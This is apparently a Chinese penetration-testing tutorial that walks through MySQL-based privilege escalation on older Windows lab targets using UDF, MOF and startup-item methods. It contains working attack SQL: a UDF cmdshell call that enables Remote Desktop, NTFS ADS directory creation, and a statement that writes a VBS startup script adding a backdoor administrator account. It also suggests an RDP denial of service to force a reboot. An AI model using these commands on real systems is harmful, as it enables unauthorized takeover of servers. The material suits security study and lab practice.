渗透测试之提权 (udf提权+mof提权+启动项提权)

1.   提权

低权限给高权限去提取(你已经获得一定的权限)

Windows   一般用户  系统用户  管理员  system

Linux   普通用户  系统用户  root

2.   udf提权

1、其利用条件是目标系统是Windows(Win2000,XP,Win2003);拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete
权限以创建和抛弃函数,有root账号密码。
2、Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。
3、Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\
system32。
4、掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备`root账号所具备的权限
的其它账号也可以。

  利用菜刀工具上传udf.php的提权文件到靶机www的目录下 靶机需要有PHPStudy

   渗透测试之提权 (udf提权+mof提权+启动项提权)_第1张图片

   利用url访问靶机的udf.php文件

   渗透测试之提权 (udf提权+mof提权+启动项提权)_第2张图片

   查看数据库用户名和密码

   渗透测试之提权 (udf提权+mof提权+启动项提权)_第3张图片

   渗透测试之提权 (udf提权+mof提权+启动项提权)_第4张图片

   导出文件(必须存在该目录 否则报错)  自己建立一个plugin文件夹  secure_file_priv的值为空

   渗透测试之提权 (udf提权+mof提权+启动项提权)_第5张图片

   渗透测试之提权 (udf提权+mof提权+启动项提权)_第6张图片

   利用自带命令查看用户

   渗透测试之提权 (udf提权+mof提权+启动项提权)_第7张图片

    自定义SQL语句

    渗透测试之提权 (udf提权+mof提权+启动项提权)_第8张图片

select cmdshell('REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f');    //对xp和2003有用不用重启

 为什么 webshell的权限是administrator 使用udf提权之后 还是administrator

是因为是administrator启动的apache和mysql

这里需要强调一下,是什么问题:

一般Lib、Plugin文件夹需要手工建立(也可用NTFS ADS流模式突破进而创建文件夹)

select @@basedir; //查找到mysql的目录
select 'It is dll' into dumpfile 'C:\\ProgramFiles\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; 
//利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\\ProgramFiles\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION'; 
//利用NTFS ADS创建plugin目录

3.  mof提权

利用了c:/windows/system32/wbem/mof/目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们
的cmd命令使其被带入执行。
使用MOF提权的前提是当前root账户可以复制文件到%SystemRoot%\System32\Wbem\MOF目录下。  

  Win2003  由于mof目录直接无法写入 为了方便测试 选择写入c盘然后拖到目录下

  渗透测试之提权 (udf提权+mof提权+启动项提权)_第9张图片

  渗透测试之提权 (udf提权+mof提权+启动项提权)_第10张图片

  在之前必须没有admin用户才能成功

  渗透测试之提权 (udf提权+mof提权+启动项提权)_第11张图片

4.   启动项提权  secure_file_priv的值不为空

写入一段VBS代码到开机自启动中,服务器重启达到创建用户并提权,可以使用win2003的 rdp DOS迫使服务器重启。
1,开始菜单当前用户启动文件夹--
C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
2,开始菜单所有用户启动文件夹--
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
3,注册表当前用户开机启动项目录--
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
4,注册表所有用户开机启动项目录--
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
	
create table a (cmd text);
insert into a values ("set wshshell=createobject(""wscript.shell"") " );
insert into a values ("a=wshshell.run(""cmd.exe /c net user hpdoger 123456 /add"",0) " );
insert into a values ("b=wshshell.run(""cmd.exe /c net localgroup administrators hpdoger/add"",0) " );
select * from a into outfile "C:\\Documents andSettings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";

  渗透测试之提权 (udf提权+mof提权+启动项提权)_第12张图片

  写入文件报错 修改配置文件也无法写入

 

  只能修改写入文件的路径

  渗透测试之提权 (udf提权+mof提权+启动项提权)_第13张图片

  渗透测试之提权 (udf提权+mof提权+启动项提权)_第14张图片

  渗透测试之提权 (udf提权+mof提权+启动项提权)_第15张图片

  再将生成的文件移动到自启动目录

  渗透测试之提权 (udf提权+mof提权+启动项提权)_第16张图片

  查询用户账户 发现生成了一个hpdoger的账户

  渗透测试之提权 (udf提权+mof提权+启动项提权)_第17张图片

你可能感兴趣的:(渗透测试基础)